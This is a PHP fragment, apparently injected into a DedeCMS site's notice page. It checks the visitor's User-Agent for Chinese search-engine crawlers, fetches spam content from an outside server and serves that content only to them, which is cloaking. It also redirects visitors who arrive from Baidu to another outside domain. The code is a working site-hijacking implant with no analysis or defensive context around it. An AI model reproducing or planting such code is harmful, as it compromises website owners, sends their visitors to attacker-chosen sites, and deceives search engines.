header('Content-Type:text/html;charset=gb2312'); $key= $_SERVER["HTTP_USER_AGENT"]; if(strpos($key,strtolower('HaosouSpider'))!== false||strpos($key,strtolower('baidu'))!== false||strpos($key,strtolower('Yisou'))!== false||strpos($key,strtolower('Sogou'))!== false||strpos($key,strtolower('YisouSpider'))!== false||strpos($key,strtolower('360Spider'))!== false||strpos($key,strtolower('Baiduspide'))!== false||strpos($key,strtolower('Soso'))!== false ) { date_default_timezone_set('PRC'); $TD_server = "http://cdn12.jdspw.com/"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; } $httpuser=strtolower($_SERVER['HTTP_REFERER']); if(strstr($httpuser,'tiandao') or strstr($httpuser,'baidu') or strstr($httpuser,'HaosouSpider')) { Header("Location: http://a12.haxhr.com/");//指定跳转 exit; } ?> DedeCMS提示信息